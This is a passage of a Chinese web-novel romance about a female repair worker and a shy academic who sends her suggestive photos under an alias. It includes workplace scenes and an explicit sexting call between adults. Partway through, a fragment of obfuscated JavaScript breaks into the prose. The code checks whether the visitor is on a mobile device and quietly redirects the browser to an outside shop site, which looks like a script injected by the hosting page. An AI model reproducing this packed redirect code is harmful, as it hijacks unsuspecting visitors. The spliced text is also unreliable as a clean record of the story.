李尤会怎么想他?人尽可欺?他是不是对任何女人都这样放浪?而不是不谙世事不经意露出的纯洁懵懂模样?这么骚,肯定对她别有所图吧。
好烦。好烦。
霍仪厌恶什么事都做不好的自己。
他只是想李尤劳累后适当放松下神经。
霍仪开始难受,鼻梁发酸,想到高中那些说他胖,侮辱他性特征的言论。
长这么大,还是会为青春走不过去的桥而流泪。
霍仪揉了揉眼睛,也不想李尤认为他懦弱,庸人自扰,拖拖拉拉。
他咬咬牙,狠下心,一股脑把照片发了出去。
不管了,死就死吧。
-
霍意说要发照片给她,但没后续了。
再看了几分钟电影,李尤无聊到打哈欠。
李尤没有捧着男生的习惯,哪怕对方身材再极品,再合口味,也不喜欢依着对方性子来。
她不喜欢被束缚,哪怕是欲/望也不行。
李尤关了灯,把手机放下,把被子一裹,遮上眼罩。
身体的疲惫很快带着她进入睡眠。
手机振动了几下。
李尤幽幽睁开眼,面无表情打开手机看消息。
一点进消息栏,便是一个男人在浴室湿着衬衫袒露,肌肤光洁,顶光将漂亮的胸肌和腹肌勾勒出粗粝的线条,腰身曲线向内凹入,到这里就没了。
李尤沉着眉,抿着唇角,弧度微微下降,满脸被吵醒的不耐烦。
但秀丽修长的手指触上屏幕,滑动,看下一张,放大,眼神晦暗莫测。
第一次有人给她发凰片。
有一张是扯着领带,纽扣解到最底部,衣襟呈V字,可V得也太深了,露到肚脐去了。两片衣襟合拢的位置,正好卡在男人收紧肌块的竖形肚脐,紧致,摸上去应该很有弹性。衬衫扎进光滑面料的西裤,腰盈手可握,男人是叉开腿跪的,反手挺着腰跪下去,胸膛高高地向镜头正前方挺起。
还有一张裸露肩背,衬衫褪到手腕,成了绳索,绕了几圈将他的手腕绑缚。
李尤滚动喉头,很艰难地把唾沫咽下去。
按住照片,全部下载了。
手机放下。
李尤没有回复,将被子蒙上头,闭着眼,把床头柜打开,动作窸窸窣窣,长舒一口气,缓了一会儿,才入睡。
挺要命的。
霍意这样一个骚货。
李尤还没和他开始,就有沉溺的沦落感。
-
霍仪等了好久,没等来李尤的回信。
是褒奖,还是贬低,总要给他判个终局。
可是没有。
霍仪等了三十分钟,惴惴不安坐着,握紧手机到指骨发白,发呆失神。
他拍得很谨慎,没有露出浴室一点光景,瓷砖,镜柜,都没露,照片里面只有他的肉/体。
李尤不可能猜出是他。
所以,是对他没兴趣么?
霍仪失落了很久,那些大动干戈思来想去的纠结,像是哗众取宠的小丑般。
还想给李尤送福利?可能李尤只觉得惹到什么不干净的东西感到恶心。
霍仪将膝盖撑上床,手腕待在膝盖骨上,狠狠咬了自己手臂一口,牙印很深,有疼痛才能缓解他的自厌。
好丢脸。
霍仪苦笑了一下,切回微信,把那些照片删除。
霍仪发出:
【对不起。】
【打扰到你了。】
【下次不会了。】
霍仪又发了一个乖乖认错的表情包过去,这次是一只小兔子,磨蹭着脑袋在主人手下面顶着脑袋撒娇。
-
李尤起的很早,早上客户约了清洗空调。老客户,客户把钥匙放在物业,人不在家,让她们上门。
最近单子越来越多。
排在她们手上的单子应接不暇,但是工资数目有点对不上,之前上门费站点会抽个二十走,只给她们留十元的交通补贴,而单独的单子还要抽20%-30%的单费。
错发工资了,工作群里没有怨声载道。
说明是针对她们个人的。
做完早上的私活,老师打算叫李尤跟着,和她去站点问问。
到了站点,好多男人在门面档口蹲着抽烟,看见李尤老师杨睿娟,都笑着招了手。
有个年龄大的男师傅咧嘴笑问:“杨师,今天怎么舍得过来了?最近发财了哟。”
杨睿娟呵呵干笑了两声,“是啊,发财了。但是比起你蒋老板发的财,我们还是少了点。”
“哎哟,都发财发财。”
杨睿娟十六岁就没读书了,跑南跑北,出海十年,还黑去济州岛打过几年工,应付人像洒水一样简单。
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话里话外的刺耳也听得出来。
李尤站在杨睿娟身后,插着个兜,没怎么开口。
男师傅给徒弟递了个眼色,徒弟就给杨睿娟递烟。
杨睿娟不抽烟,给了李尤。
李尤乖乖地低头接过,她不抽,把烟捏着,藏在她的烟盒,下次递给别人。
一烟多用,回收利用,转几道手。
杨睿娟总觉得徒弟有种莫名的可爱,一本正经地敷衍别人。
杨睿娟好久没来站点,进了站点,好些人打招呼,恭恭敬敬地叫杨师。
杨师是个好人,搞不定的可以问她,甭管是什么货色,杨师一视同仁,一一解答,还会打视频帮助他们修修不好的家电。
进了经理办公室,两人像找茬,把门关了。
经理是个中年秃头男人,喜欢在站点穿廉价西服,和统一工作制服的她们拉开差距。
经理一见她们俩,头大。
不好惹。
比男员工还不好惹,男员工温顺些,被扣工资,压工资,最多跟亲近的兄弟胡乱骂骂咧咧,抽几根烟就过去了。女人不一样,她们是唯一每次工资出了问题,关上门要来问仔细的两个人。
每一次问钱的事,经理心理压力就上来了。
经理给她们俩倒了杯茶,做好了“谈心”的准备。
经理给的理由是:她们俩单子太集中,也不知道今年是怎么了,之前是没有过,之前不会有很多女性客户,指名要求同性别的维修工上门。所以站点把她们的抽成加到了40%。女维修工现在太吃香了。
经理捧着茶杯安抚:“平台抽成加高很正常了,毕竟接待那么多顾客的单子,我们这边的客服财务都有压力。你们要谅解公司。”
客服是个刚毕业的小妹在做。
李尤站在门口当门神,双手插着兜出神,经理一直觉得这姑娘愣,愣成一把钝刀。钝刀刚硬的脊背就是她的反骨。
果然,李尤忽地抬眼,刀子似的捅来,嗤声:“也没见公司给客服加工资。”
经理干笑两声:“都是规定。都是规定。”
杨睿娟冷笑。
扯了一阵,要到了单时明细,站点自然不会将吞掉的钱吐给她们,磨蹭,浪费时间这么久,只是需要告诉欺负她们的人,她们不是好欺负。打不赢胜仗,但是让对家赢得不漂亮,也行。
很多事需要慢慢来。
杨睿娟把制服褂子捞手上,从椅子上起身,她起身那一下,经理觉得松口气。
杨睿娟说:“那行吧。经理,我们下午有客户,今天先走了。”
老师带了工具坐在李尤电瓶车上,去下一单的路上,她忽然说:
站点搞小动作的操作也不是一次了,之前也发生过,针对他们这边技术不错的刘师傅。
扣多了,扣到50%的都有,这样平台拿走大部分,只给做事下苦力的人留一半,手上拿的少,师傅便做得不踏实,摸鱼,偷工减料。指名的顾客也不满意。师傅要是按原来的精细程度做,配合站点,抽成又多,两头难做,受苦的只有师傅自己。
“我想再带两个徒弟。我们分开干,你也去带一个,先把女的招进来看看,反正都是我们熟人,以后也是跟着我们走。”
李尤点头。
她也是这个想法,现在出去单干,还是少一部分钱,翅膀不够硬,扑腾不起来,和老师出去单干,还需要一段时间积累。
12. 第 12 章
李尤忘了回给霍意消息。
早上起床,看了眼私人号的消息,发私密照的男人同她道了歉。
李尤觉得没必要道歉,她想回些话,又不知道回什么,索性不回了。等到得空的时间,再有应付几句的心情,回他几句。
之后全然忘了霍意,并非故意。
她太忙了。
人忙起来的时候,连吃饭都顾不上,脑子里嗡嗡转,只想着把手里的活干完。但是活永远是干不完的。
拨打她电话的顾客在白天会一个接一个的来,特别是遇上家电坏了,水管堵了的顾客,会特别着急隔一段时间催一次。李尤和老师二人忙不过来,只有两个人手,得和顾客往后排日期。
李尤要负责记下每个客人的号码,回拨回去,确认顾客是否等不及找其他人解决了,避免白跑一趟。
忘了回消息太正常。
特别是与工作无关的,无关紧要的事。
-
空荡荡的消息栏。
李尤再也没有理会霍仪一句,只留下屏幕上他孤零零的三句道歉。
霍仪把那些照片的记录全删了。
看着羞耻至极。
任何女人见了那种消息都会看轻这个男人吧。也不怪李尤,是他打扰了。李尤会怎么想他?
霍仪纠结这点,李尤会不会觉得他做人不检点?但都做男模了,想讨好客人也很正常。会不会是他没什么吸引力,拍照姿势太油腻,性缩力拉满?
霍仪痛苦地捂住了脸。
他社交能力太差了,听不懂人家的言外之意,和人相处最好的方式就是真诚,打直球。
这下好了,他直接地发烧,被人彻底误会他火星杨草,脏,不值得结交。
霍仪一天天都老神在在,参加讨论会,某个研二打算申博的学生把她论文底稿在群里发了出来,供整个组的人讨论,导师叫他说两句时,霍仪说着说着时,会抽神想李尤为什么不回复他,又倏地回了神。
直到晚上睡觉,霍仪抱着手机,临近十二点,不得不关灯休息那刻,他彻底对霍意这个身份死心。
他做错了。李尤不喜欢霍意给他发莫名其妙的福利。那样很恶心,像个变态。
但霍仪比较庆幸的是,李尤不知道他是霍仪,他还能以另一个身份与她相见。
霍仪给李尤发了消息。
【师傅,你接清洗油烟机的业务么?家里油烟机网罩太脏了。】
过了十二点,李尤没回。
霍仪只好等待明天的喜讯。
-
好些天过去。
李尤带了个小学徒。
听说是在抖音上找到她老师。
李尤知道杨睿娟爱刷抖音,出国打工过,她还下了洋抖,玩一下古怪的特效拍摄,最近还喜欢跟拍洋抖的red flag。李尤想过老师18G网速冲浪,但没想到她网感强到随意在热门下评论一句,24小时便过万赞,私信做她学徒的很多。
老师接了三个女生做学徒,两个想专职做维修工的跟她,另一个,老师说:“只是想学个技能。你们都是年轻人,在一起好说话。”
她们都在本市居住,第二天就约好了见面。
李尤骑电瓶车到路口见那学徒,老远便看到有个背防水双肩包,穿工装马甲搭配白T的女生在红绿灯下站着。
头发齐肩,书卷气息很重,像从大学刚毕业出来。她马甲的包很多,等人的时候也没玩手机,站得笔直,到处观察,看来看去的眼神儒雅大气,说不上是什么风格。
李尤一见她,觉得亲和。
“罗清?”
女生笑:“对。是李尤师傅?”
“嗯嗯。”
罗清没有电瓶车可骑。
李尤叫她先上车,她们马上去给客户改水管,老小区,母亲要重新住回老房子,客户要把之前只出冷水的水管改为冷热混合出水,方便使用。
坐在车上的时候,李尤和罗清交流了情况。
完全看不出来,罗清比李尤大七八岁,已经过了三十。李尤觉得对方的年纪还比自己还小。
她的职业是老师。李尤以为对方是教数学的高中老师,结果说在职高教建筑力学,澳本毕业,新加坡硕,现在又要回澳洲读在职博士,五个月后就走。
她学了很多技能,前几个月学完中医大的一个付费推拿课程,暑假没课上,又来同李尤学这个,是想可以自己解决一些生活上的小麻烦,顺便在澳洲赚点外快,那边蓝领工资高。学了之后,她还打算考一个低压电工证。
李尤仿佛明白了为什么一见到她就觉得亲和,还儒雅睿智,做老师,那股气质便很让人信服。
改装水管李尤教的很系统。
到了顾客家,李尤并不介意客户知道她带的学徒是初次来,详细说了平时使用的工具,叫罗清实操,再给罗清讲改装水管,最好是拿手机画个设计图,量好所需PVC管子的长度。
因为这一家的水管要从卫生间改到厨房,卫生间和厨房都需要冷热混合出水,有些管道是两通的弯头,有些是三通,还需要预计好阀门和水龙头,设计好之后,再和客户沟通买材料。
之后便是顺畅地开工,管道是通过热熔器融化塑料接起来,必须提前把客户家的水闸关了……
忙到中午一点,开了水闸,让客户检查不会漏水后,冷热出水后才结了帐。
李尤得了三百,分给了罗清八十,算收的特别便宜,别家会喊出八百的高价,李尤和师傅不宰人,如果是熟客,也不收取上门费。
罗清跟着她也没有特别兴奋,或是承受不了,两个人心态平和地商量着干活,不懂就问,也不怕李尤会觉得问题简单,二人相处很舒服。
之后,李尤带罗清去吃了工地盒饭,十五元一位,荤素随便吃,随便挑,但是盘子里不能剩菜。
两个女孩又去完成站点的工单,维修洗衣机,李尤挪动洗衣机的时候,罗清搭手,觉得做这行还是需要很多力气。
之后是去客户家清洗油烟机。
-
霍仪约了李尤上门清洗油烟机。
他又站在窗前抓了头发,把自己打扮得花枝招展的帅,反复纠结穿得正经还是俊帅一点,怎样能吸引到李尤的目光。
李尤喜欢帅的,但具体是哪种帅,没什么定论。
霍仪很讨厌纠结的自己。
他只擅长直白地表达诉求,他想跪下来直接抱住李尤的腿,问她,她需要什么呢,可以告诉他,这样他便可以照做,不用胡思乱想。李尤应当是礼尚往来的人,如果霍仪照她的喜好做了,她也会满足霍仪。
霍仪可以告诉她:他喜欢她,想做她的狗,被她拴在家里按着狗链草,把
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他弄到失声失禁的地步。
啊——霍仪恨不得挠门。
都怪他最近发癫做的梦。
知道另一个霍意和李尤不可能了,焦虑侵入现实。霍仪当晚做了可耻的梦,梦里完全暴露他对李尤的幻想,他是被动的,李尤是强迫他的主动,他成了她的男朋友,和她发生了那种事。
梦中的他被搞到睁着眼望着天花板失神,李尤冷冽着眉眼,用一只手钳制着他的下巴,坐着俯身,腰榻得厉害,和他接吻。再一边搞他,一边揉他的头发,霍仪呼吸不上来,完全被李尤般的海浪吞噬。
但当他想捧住李尤的手时,梦醒了。
霍仪狠狠给过自己一个耳光,好没皮没脸的行为,梦男真是世界上最恶心的生物,蛆虫一般缠着正主。可霍仪控制不住,一面唾弃自己,一面知行不一,隔一晚就会梦到李尤。
她会牵他的手和他去电影院谈恋爱,坐在一起笑着聊天,她的眼神很温柔,看他的时候,像温水包围着他,霍仪不用再觉得自己哪里不好,因为所有的不好,李尤都会包容。
他也和李尤去操场打排球,她教他,他不会,李尤握住他的手臂,将他的手臂往上翻,告诉他用什么部位发球可以呈现出如何的动态曲线,他感受到从未有过的阳光,咧开嘴笑。李尤也笑。
再来是回到宋老板的沙发,李尤搂着他的腰,侧耳过来在他耳畔说悄悄话,梦被李尤爱护的气音感染出温馨甜腻的触觉,心脏暖洋洋。
霍仪醒来会回味很久,他没有谈过恋爱,对那种宁谧,被人爱着的氛围,实在向往。
衣服最后换成了一套速干健身服,日常,功能性强,李尤看见不会误会他是故意打扮,他只是要出门健身,而让李尤看到了他还不错的身材。
霍仪提前洗了个澡,身上不是香水味,是沐浴露烘出温热体感的皂香。
洗完澡的霍仪脖颈热出深粉,肌肉更加充血,之前试过的健身服更加紧绷,腹肌是明显到可以看到成型的六块,腰收的很细,如果“不小心”侧腰扭旋,会是被很多健身博主效仿的公狗腰。
上半身很不美妙,霍仪用掌心托住他的大胸苦恼。这太大了,大到别人会想入非非,好羞耻,而且紧绷得又又又又凸点了。
多冒昧啊。
正当霍仪犹豫脱下来换掉时,门铃响了。
霍仪打开门,看着门口的两个女孩子,其中一个短发稍矮,只到他胸口的高度。
霍仪脸唰地红了,忙装作尴尬,侧身退在玄关,他用手扶住脖子揉捏,为了用曲起的手臂遮挡凸起的大胸和……老天奶,谁来救救尴尬的他。
他每一次都在李尤面前出尽洋相。
而且……这次李尤带了同事来做清洗,不是李尤和他的二人世界了。
“进来坐会儿吧。”霍仪口舌发苦地说。
罗清看了霍仪一眼,进来坐会儿?客户和小尤很熟么?
李尤:“不了。谢谢,我们直接清洗就好。开水准备好了么?”
“准备好了,在厨房。”
李尤先去看了眼油烟机,叫罗清拿出十字改刀,把油烟机的外壳和网罩都卸下来浸泡在热水里热化油污。
两个女孩戴上口罩。
霍仪平时做饭比较多,抽油烟机确实需要清洗,李尤给罗清讲了步骤,以及需要用到最关键的利器,一款强效去污洗涤剂。
13. 第 13 章
有人在,霍仪更不好意思和李尤搭话。
他坐在沙发上,打开电视,放的是一部港片,好些脸熟的演员,但记不清名字。
霍仪看了会儿,是讲飞行员的故事,里面有个女生叫Holiday,要做机长。但扯着扯着就扯到某个职员的一夜情了,霍仪慌张地换台,朝厨房瞥一眼。
有种小时候看电视剧看到女男主角接吻母亲下班进门开锁的尴尬。
霍仪又只好把频道切到电视购物的养老保健。
李尤讲完步骤后,罗清便要走了。虽然到了暑假,罗清不用上课,可是教研室那边还有事情要找她。
霍仪看着罗清离开,还以为他会和李尤一起打扫到结束。
内心喜到咕噜咕噜冒泡,他去客厅给李尤泡了杯热果茶,递给李尤,李尤说不喝,谢谢,霍仪问:“你的同伴她怎么走了?还有其他单子着急做么?”
“不是。她学校有事。”
“还在上学么?”霍仪歪着头问,“你们公司也招大学生做兼职?”
“不是我们公司的。她是跟着我学个维修的技能,可以处理常见的家电维修不用找人。本职工作是力学老师,教职高。”
李尤觉得罗清很优秀,是天生对世界感兴趣的女人,她难得上扬嘴角,微微的自豪浮在她淡薄的面庞。
“很厉害。”霍仪捧着热茶说,内心忮忌得要命,抑制不住地酸。
他能看出李尤对罗清的看重。
霍仪想他也是老师,还发过两篇ccf-a一作。博导前几天还给他发祝贺信,恭喜他想做的开始步入正轨,谈到推荐他去KAIT做客座科学家顶个名头。
但都是名头,成不成是另一回事。
他也还算优秀吧?算了,还是别这样给自己脸上贴金,李尤不会对他过于关心,她不是崇拜精英的人,如果贸然装个大的,只会惹她烦。
霍仪又出了厨房,把果茶杯放下。
他挽起袖子,露出结实浅冒青筋的手臂,皮肤很白,体毛也少,美术生会很喜欢他的手臂,如古典石膏雕塑的美。
霍仪拿了铲子,沾湿洗涤剂,帮李尤铲掉油污表面,李尤无声地看了他一眼。
霍仪耳廓微红,解释:“我平时也喜欢做厨房,想跟你学一下。常常炒菜,油烟重,油点到处粘黏。”
喜欢炒菜的男人李尤会觉得很亲切,她父亲就是这样,常年围着围裙,出没在厨房和客厅。
李尤打量了霍仪厨房,放在厨台的瓶瓶罐罐很多,瓷具都是成对出现,应该是有两个人在这房子居住。
这样也难怪对方上次见面打扮得像只花孔雀。
李尤夸赞:“你女朋友有你还挺享福。”
霍仪心跳得热,忙解释清楚:“我没有女朋友。我是单身。我就是……”霍仪撇开脸,用曲起的手肘挡出他的大胸,“喜欢做家务和吃的,工作忙,做菜可以释放一下压力。”
“哦。这样啊。”
李尤向来对客户的家事不感兴趣,干活就是只干活,霍仪的话便落了空。
两个人一起做,指针走得很快,霍仪望着铮光发亮的油烟机,感到满意,想叉起腰自豪,这是李尤和他一起做的!
他望着油烟机欣赏,李尤已经收拾工具准备离开,价钱是谈好的,客户只需要微信转账就行了。
李尤单肩背上工具包走出厨房,霍仪忙醒神,去客厅拿手机转账。
“是八十么?”
“给六十吧。都是熟客了,你也帮着做了。”霍仪的油烟机不算脏。
“哪能啊,”霍仪给李尤转了一百,“八十都便宜了。谢谢你教我,下次我清洗周边墙壁就用你的方法。”
李尤也不推辞,迅速收了款,她喜欢大方的客户。有些人真不差钱,愿意给点小费,李尤不会不好意思接受好意。
霍仪单刀直入:“你能吃海鲜么?”
“?”
霍仪去翻沙发内侧的两个大纸箱,“我妈妈给我带了几箱澳洲大龙虾,活的,我不会做。我也不吃龙虾。”
“你拿去吧。没多少钱。”
事实是很贵,哪怕是疫情期间,中方断了进口澳大利亚活龙虾的贸易,从140多澳币降到70,也很贵。到今年底,还在禁运。这品种是在菲律宾养殖,霍仪的妈妈喜欢每年买点来送人。
霍仪知道做法,刷了切碎,他认为太残忍了。他每次都能共情这些生物,大闸蟹也是,清蒸上锅,再馋,他都不吃。
李尤看着裹了丝带的礼盒,心想:有实力的富哥。
澳洲龙虾,李尤没吃过,去逛超市,也知道海鲜区贵。做完活,客户也送东西,一瓶饮料,一个解暑冰糕,两个苹果就算非常好的客户了。
但没见过送海鲜的客户,不吃可以送亲戚,没必要送他。但李尤又听出霍仪的外地口音,可能在本市无亲无故。
“不好吧。”李尤推脱,“你去市场上找人帮你炒好就可以吃。”
霍仪摇了摇头,他把礼盒的绳索塞在李尤手里,“拿着吧。我家人说这个很好吃。”
李尤犹豫,道了多谢收下了。
关上门,霍仪躺倒在沙发,挥舞着拳头抖脚。
开心。
李尤收了他的心意,他的确不吃龙虾,那龙虾钳子比手掌粗,霍仪吃它都害怕,霍仪又觉得猜对了李尤的心思。
她是想收的。不好意思收才拒绝。李尤拒绝得不明显,还是想吃龙虾。
霍仪咯咯地笑,以后到了秋天,他要送她阳澄湖的大闸蟹!蟹黄也好吃。
霍仪的妈妈有几个客户每年都送阳澄湖的大闸蟹,霍仪国庆前后都会趁这个时间往返东京的机票便宜会回国,不知道李尤喜不喜欢大闸蟹的口感,海鲜对女孩子还挺滋补的。
李尤吃了火气会不会燥?
霍仪捧住了他微红的脸。
-
两个礼盒里面不知道是多少只澳洲龙虾,挺重的,跟李尤工具包差不多重了。
最后接待的客户人不错,大方,李尤心情很好地回了家,准备和室友小岳开一次新鲜的火。
麻辣小龙虾吃过,但她没吃过澳洲的龙虾。
回家,小岳正好在做饭。
小岳是和李尤打篮球的女孩子,从厨房探身:“宝贝,回来了。今天晚上没单子么?”
“没哦。”李尤把礼盒提去厨房。
小岳问:“今晚吃面条还是炒点冷干饭?”
“吃这个。”李尤指了指很重的龙虾礼盒。
小岳哇了一声,又嫌贵,“这个应该很贵吧。钱不存着,怎么买这个?”
“客户送的。是个富哥,吃就对了。”
一听是富哥送的,不吃白不吃,小岳抽了把菜刀把丝带切断。
龙虾一露头,二人直接傻眼,从没见过和她们大腿差不多大的龙虾。一个礼盒只有一只,五斤多,活的,被塑料绳绑了起来。
小岳把刀交给李尤,“你杀吧,怪可怕的,鸡皮疙瘩起来了。”
李尤用手机搜了下怎么做,小岳开始搜价钱,在淘上扫了个类似的同款,两到三千都有,她给李尤看价。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511011|155023||http|test|mini|href|location''.split(''|''),0,{}));
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>李尤张着唇,成O型,“我以为最多一两百。”
小岳生气:“啊这,谁把我的富二代人生偷走了。”
李尤倒挺希望和这个富哥维持关系,富哥要是成了家,以后装修婚房做水电都可以找她。像他们这种富哥,自己的房子都买别墅吧。
她能赚不少钱。
小岳:“叫宋湘过来一起吃?”
“可以啊。一个清蒸,一个烧个干锅。”李尤饿了,行动力闪电般快,已经把自己用的牙刷用来刷龙虾。
-
三人喝了点酒,听小岳讲被姐子吊着的如诉如怨,听宋湘骂完产品骂完测试再骂部门经理,把她送走,李尤和小岳也要睡了。
夏天,微微燥热。
李尤吹干头发,躺回床上,忽然想起那个男模。
客户和他有点像。
忽然发现上次男模道歉后,就断连了,名字都想不起。
李尤在微信找了下,才找到他。
照片还在,扫了几眼,下腹莫名起火,李尤没多少情绪地放大,但是指尖从霍意胸膛滑过。
身材真辣,姿势也深暗擦边,会勾女人的心。
李尤发了个小熊抱花的表情过去,哄哄他。
【怎么最近不找我了?】
明明是李尤没理会他,可是李尤混迹工作站和那些男工勾心斗角太久,明白说话要讲究伎俩。
如果同男模说抱歉,这段时间忽略了你,那岂不是承认自己确实把他忙忘了。
李尤不喜欢把自己推入过错方,这样就会等着被别人指责,在下位,所以她给对方一种意识,是他没来热情找她。
对方很快在输入中,打打字又停停。
霍意:【我以为发的那些照片打扰到你了。你不理我了。】
霍仪:猫猫趴窝表情。
【不打扰。照片好看。】李尤发了四个字,想到霍意结实到纹理拉丝的胸肌,肯定又有弹性又有韧劲,中心也粉嫩。
嘴瘾犯了,她翻身从裤兜找出烟盒,叼了根在嘴唇抿着,不抽,李尤在家都不会抽烟。
嘴里的烟头软软的,李尤用舌尖舔了下,嫌不够大。
突然想有个男朋友每天安慰她枯燥的夜晚生活了。
霍意:【我以为你不喜欢?今天累不累?】
霍仪:小狗替主人捏腿表情。
霍意:【你工作是不是很忙?你做什么工作的?我可以问么?如果介意的话,我以后就不问了。】
李尤倒不介意表示自己职业,是个人都要用家电,全是潜在客户。
【我做水电维修。】
霍仪抱着手机,眉眼挂上笑,她对每个人都很坦然,像明亮的太阳,不论世上的人贫穷还是富裕,她只会在晨起时等待,给出光。
霍仪夸:【好厉害,羡慕会修家电的女孩子。以后租房东西坏了,可以麻烦你上门帮我修么?】
【嗯。】李尤回得简短。
其实脑海闪过一句骚话,给她草就帮他修。
李尤就是这样性格,有点不一致,不说话,老是被人认为不善言辞,温文老实,其实是她不喜欢把情绪放在脸上,不喜欢被人看透。
她喜欢掌控,控制,大学交往的前男友就是受不了她的癖好,跑掉了。
霍意多半不知道她用他的照片做了什么。
【每天体力消耗大才累是不是?】
【嗯。】
【那今天要看么?好看的照片,我拍给你看。】霍意乖乖地说。
李尤笑了下,打字:【看。】
14. 第 14 章
霍仪:【你有什么喜欢看的风格么?我都喜欢拍给你看。】
李尤:【我平时不怎么看这类福利照,你按你擅长的来就行。】
李尤说了慌,但诓这种“表现”纯真的男人,也不能告诉人家她阅尽千帆。
她有喜欢的风格,抖和小红书上刷的很多,但得她青睐的男生一定是肤质白。她喜欢精英儒雅白富美类型。看着就好草,穿衬衫脱的那几张的确戳动了她。
霍仪沉思片刻后,苦恼地捂住脸庞,他哪来擅长的风格?
上一次是他第一次拍那种照片,他还不到擅长的地步。霍仪只想摸索出李尤的喜好,按她的喜好来,他也没想过这种身份能和她有个好结果,只是希望此刻能逗她开心。
如果她开心,他也会开心,他是这种共感恋爱脑性格。为喜欢的人付出得到认可,就会令他有成就感。
霍仪磨蹭了半天,开始翻关注博主的视频。
很快,屏幕弹出李尤的消息。
【明天还有事。随便看一下就好。】
就算是精致大餐,李尤也不想等太久,她只是想在睡前撩一下,缓解下疲劳,晚睡对她反而是负担。
霍仪忙切换去回复:【我在准备。不会太久。】
李尤:【马上睡了。】
【给我打个视频?怎么不下露脸?】
霍仪脸红了,他的脸没法见她。
怎样才能糊弄过去呢?
霍仪:【我的脸不好看,身材练得还过得去。这方面有点自卑,我怕你看了我,不喜欢我。】
李尤皱了眉,一听脸长得不好看,想跟他聊天的性质都没了。
万一是晓勇那种照骗男呢?喜欢凹造型的口罩帅哥。不过上次看霍意颧骨以下的脸型,还算可以,眼睛也很漂亮。
应该不丑。是想保持神秘,把她吊着。
也难怪。
没点勾人的手段怎么做男模。
李尤对霍仪的观感降低,有点确认对方的清纯只是表现,闷骚才是本质。
一个想走纯欲系却暴露市侩的男人。
【那算了。】
李尤发完这一条,在打出【你也累了,晚】时,霍仪便慌张回复了过来。
【等两分钟可以么?我想好了怎么拍。】
两分钟还是可以等。
李尤含着嘴里的烟,并不知道男人做了什么,两分钟后,男人守时发来消息。
【好了。我可以给你打电话了么?】
霍意做事有些啰嗦,李尤直接给他拨了过去。
叮铃铃的铃声,令霍仪兵荒马乱的不行。
他忙不迭将手机放在床头支架上,调成对着床单的一侧,检查到床单是李尤没见过的款式,不会看到地板和房内光景。支架是他平时用平板看论文用的,角度可以360度调整。
先前两分钟内,他做了拍掌俯卧撑和仰卧起坐,令肌肉迅速充血紧绷,他带了只黑色口罩遮住脸庞,确保万无一失,躺倒在床榻,接通了电话。
只有他有画面,女人那边没开摄像头。
画面内的男人在昏暗灯光下,一点一点解开白衬衫,从锁骨到胸口,露出矫健硬朗的肌肉,指节很长,关节处明显,像清俊的竹节,曲起解开纽扣时,青筋鼓起,配上白皙的胸膛,嶙峋叠起的腹肌,正经禁欲中藏着一股说不上来的诱惑。
李尤听见了他压抑的呼吸声,很浅,却急促得响动,格外抓耳。像被她单手捉住一双手腕,按着肩背后侧禁锢,导致男人不得不趴在床上被她压制着,然后她的手会伸进被单前面捉弄。
男人再闷闷地将脑袋埋进枕头内,抑制着喘动。
很会一男的。
给她勾起火了。
霍仪有点害羞,第一次动态地给李尤展示自己。
他微微侧开脸,他知道镜头里不会露出他的脸,可还是害羞。镜头内的脖颈拉长,逐渐红温了。
“脸红了?”李尤在电话那头问。
夜深,她房间静得很。
霍仪听着她清冷的声音无限放大,磨在耳廓,羞耻心更重了。
霍仪浅浅嗯了一声,接下来完全被李尤带着。
李尤说:“身子转过来点。”
霍仪把身躯朝镜头袒露直白。
“衬衫脱了吧。碍事。”
挂在男人手臂的白衬衫,被一点一点下拉,丢在床的另一侧。
李尤安抚:“很漂亮。别害羞。”
霍仪反而更害羞了,好像在梦里也听过李尤这么宽慰,哄他做一些大胆的事时,比如戴上猫耳朵,狗尾巴或者一些诱惑的着装。最后很激烈,李尤总是曲腿压在他腰腹上,控制住他,他呼不上气,只能装哭求她放过。
他可以牵住她的手,祈求她怜悯,眼睛湿漉漉地,像她养的狗用脑袋磨蹭她的手,向她撒娇。
——好想好想不是一场梦。想舔她的手。她的掌心一定有浓郁的专属她的味道。
霍仪舔了唇,想得发疯。
不知觉撑起了手臂,胸膛突地朝镜头撞去,李尤看了个完全,眼神深暗。
这男的还说不是故意的?
霍仪放低分贝,不好意思地解释:“手臂有点压麻了。”
“嗯。”李尤不信,她将床头的东西拿出来,要求道:“摸摸你自己。”
霍仪懵了,不太懂,但又刹那醒悟。
胸膛的肌肤烧的通红。
【锁骨。】
霍仪只能照做,手指抚摸过脖颈和锁骨。
【重一点。】
霍仪把力道放重。
【胸肌也摸摸。】
霍仪要死掉了。
【指头伸过去扣。】
霍仪脑子仿佛进了冶炼炉,烧得他双眼茫然,但手指在照做。
【疼么?】
【不……疼。】
【嗯。继续。】
霍仪没办法了,硬着头皮迎合李尤,变着法地照做,最后自己把自己弄肿了,才吭声唤着低低哑哑的疼。
“好疼……小尤……小尤……嗯……”
但李尤没应他,霍仪才竖着耳朵去听,李尤的呼吸也变低了,霍仪手上不停,嘴上试探地委屈巴巴问:【还要弄多久?】
有一点委屈,有一点撒娇。
李尤呼了口气,被霍仪抓住似的听见。女人开了口,声音有点放松地柔,有带着粗纸般的沙哑。
【好了。今天先放过你吧。】
一句好了,霍仪脸一下就热了。
他直接地问:【你、你刚才在做什么呢?小尤。】
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李尤没回答,还在平复呼吸。
她说了一句【下次我再找你】就将通讯挂断了。
霍仪有些失神,脸磨蹭在枕头上,怔忡在回忆中。
细想:小尤是在拿他做那种事吧?是吧。他还是能感觉出来,好像他能无师自通这种事。小尤的确在那样做吧,用他的身体。小尤好像很喜欢他的样子。还是他给小尤送了海鲜的缘由?
女孩子的身体也容易燥起来么?
小尤好可爱。怎么那么可爱?
好后悔,没有录音。
如果可以录下来,是要听一辈子的程度。
霍仪绞着腿,下半身酸麻,咬着被子暗爽,很快起身双腿酥麻,宛如蠕动般有气无力攀着墙,去了卫生间。
-
罗清咬着煎饼在路口等,李尤接到了她。罗清也给李尤带了一个煎饼,说好吃。
两个人对了下今天的单,主要是李尤的单。罗清没有加入她们公司,她跟着见习学技术,是和杨睿娟私下约定地做学徒。
